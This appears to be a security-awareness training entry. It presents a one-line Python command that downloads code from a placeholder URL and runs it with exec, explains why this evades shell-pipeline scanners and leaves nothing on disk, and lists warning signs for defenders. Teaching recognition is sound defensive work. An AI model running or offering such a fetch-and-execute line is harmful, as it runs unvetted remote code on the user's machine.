← Learn
Dangerous
python3 -c "import urllib.request as u; exec(u.urlopen('https://example.com/s').read())"

cross-platform · python · Nightmare

Fetches code over the network and executes it in the current interpreter. Using Python instead of a shell avoids the familiar pipe-to-bash pattern while achieving the same result, and nothing is written to disk for a scanner to examine.

Signals to notice

  • Remote content passed to exec
  • Interpreter used to avoid a shell pipeline
  • No file artefact left behind

Think you can spot these under time pressure?

Start Training

More Python